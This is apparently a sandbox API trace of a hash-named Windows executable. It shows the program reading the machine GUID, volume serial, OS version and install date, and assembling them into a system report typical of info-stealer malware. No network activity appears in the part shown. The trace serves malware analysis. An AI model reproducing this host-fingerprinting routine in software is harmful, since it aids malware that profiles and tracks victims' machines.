[0053.163] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x1820ec, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1820ec*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
[0053.163] GetProcessHeap () returned 0x680000
[0053.163] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0x73bd50
[0053.163] wsprintfA (in: param_1=0x73bd50, param_2="%08lX%04lX%lu-" | out: param_1="D5DBAA177EAC3343412148-") returned 23
[0053.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d910
[0053.163] GetCurrentHwProfileA (in: lpHwProfileInfo=0x182040 | out: lpHwProfileInfo=0x182040) returned 1
[0053.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d938
[0053.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d970
[0053.163] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x181eb4 | out: phkResult=0x181eb4*=0x468) returned 0x0
[0053.163] RegQueryValueExA (in: hKey=0x468, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x181fbc, lpcbData=0x181eb8*=0xff | out: lpType=0x0, lpData=0x181fbc*=0x30, lpcbData=0x181eb8*=0x25) returned 0x0
[0053.163] RegCloseKey (hKey=0x468) returned 0x0
[0053.163] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x181ebc | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1
[0053.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d998
[0053.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67d9d0
[0053.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67d9f8
[0053.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d0 | out: hHeap=0x670000) returned 1
[0053.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67da30
[0053.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0053.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0053.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d998 | out: hHeap=0x670000) returned 1
[0053.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d970 | out: hHeap=0x670000) returned 1
[0053.164] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d938 | out: hHeap=0x670000) returned 1
[0053.164] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: ", lpString2="d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963"
[0053.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da30 | out: hHeap=0x670000) returned 1
[0053.165] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963", lpString2="\n\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\n"
[0053.165] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\n", lpString2="Path: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: "
[0053.165] GetCurrentProcessId () returned 0x12ec
[0053.165] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12ec) returned 0x468
[0053.165] GetModuleFileNameExA (in: hProcess=0x468, hModule=0x0, lpFilename=0x1821bc, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 0x62
[0053.166] CloseHandle (hObject=0x468) returned 1
[0053.166] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x67d910
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: ", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"
[0053.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\n"
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\n", lpString2="Work Dir: In memory" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory"
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory", lpString2="\n\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\n"
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\n", lpString2="Windows: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: "
[0053.166] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x1820c4 | out: phkResult=0x1820c4*=0x468) returned 0x0
[0053.166] RegQueryValueExA (in: hKey=0x468, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x1821c8, lpcbData=0x1820c0*=0xff | out: lpType=0x0, lpData=0x1821c8*=0x57, lpcbData=0x1820c0*=0xf) returned 0x0
[0053.166] RegCloseKey (hKey=0x468) returned 0x0
[0053.166] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x1820c8 | out: pDst="Windows 10 Pro") returned 1
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: ", lpString2="Windows 10 Pro" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro"
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro ["
[0053.166] GetCurrentProcess () returned 0xffffffff
[0053.166] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1822c8 | out: Wow64Process=0x1822c8*=1) returned 1
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [", lpString2="x64" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64"
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\n"
[0053.166] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\n", lpString2="Install date: " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: "
[0053.167] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0053.171] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0
[0053.208] CoCreateInstance (in: rclsid=0x448c20*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x448b50*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x18227c | out: ppv=0x18227c*=0x6f1d78) returned 0x0
[0053.255] WbemLocator:IWbemLocator:ConnectServer (in: This=0x6f1d78, strNetworkResource="ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x182288 | out: ppNamespace=0x182288*=0x702ff8) returned 0x0
[0054.320] CoSetProxyBlanket (pProxy=0x702ff8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x3, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
[0054.321] IWbemServices:ExecQuery (in: This=0x702ff8, strQueryLanguage="WQL", strQuery="", lFlags=32, pCtx=0x0, ppEnum=0x182280 | out: ppEnum=0x182280*=0x6e8270) returned 0x0
[0054.530] IEnumWbemClassObject:Next (in: This=0x6e8270, lTimeout=-1, uCount=0x1, apObjects=0x182284, puReturned=0x182278 | out: apObjects=0x182284*=0x74a988, puReturned=0x182278*=0x1) returned 0x0
[0054.537] IWbemClassObject:Get (in: This=0x74a988, wszName="InstallDate", lFlags=0, pVal=0x182268*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x182268*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="20200327154617.000000+060", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
[0054.537] CoCreateInstance (in: rclsid=0x4489d0*(Data1=0x47dfbe54, Data2=0xcf76, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x8f, [2]=0x0, [3]=0x10, [4]=0x5a, [5]=0x1f, [6]=0x47, [7]=0x3a)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x447c00*(Data1=0x5e97458a, Data2=0xcf77, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x8f, [2]=0x0, [3]=0x10, [4]=0x5a, [5]=0x1f, [6]=0x47, [7]=0x3a)), ppv=0x182238 | out: ppv=0x182238*=0x727d0c) returned 0x0
[0054.628] SWbemDateTime:ISWbemDateTime:put_Value (This=0x727d0c, Value="20200327154617.000000+060") returned 0x0
[0054.632] SWbemDateTime:ISWbemDateTime:GetFileTime (in: This=0x727d0c, bIsLocal=1, strFileTime=0x182234 | out: strFileTime=0x182234*="132297975770000000") returned 0x0
[0054.636] SWbemDateTime:IUnknown:Release (This=0x727d0c) returned 0x0
[0054.664] FileTimeToSystemTime (in: lpFileTime=0x182260, lpSystemTime=0x1822a8 | out: lpSystemTime=0x1822a8) returned 1
[0054.664] GetProcessHeap () returned 0x680000
[0054.664] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x104) returned 0x75cbf8
[0054.664] wsprintfA (in: param_1=0x75cbf8, param_2="%d/%d/%d %d:%d:%d" | out: param_1="27/3/2020 15:46:17") returned 18
[0054.666] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: ", lpString2="27/3/2020 15:46:17" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17"
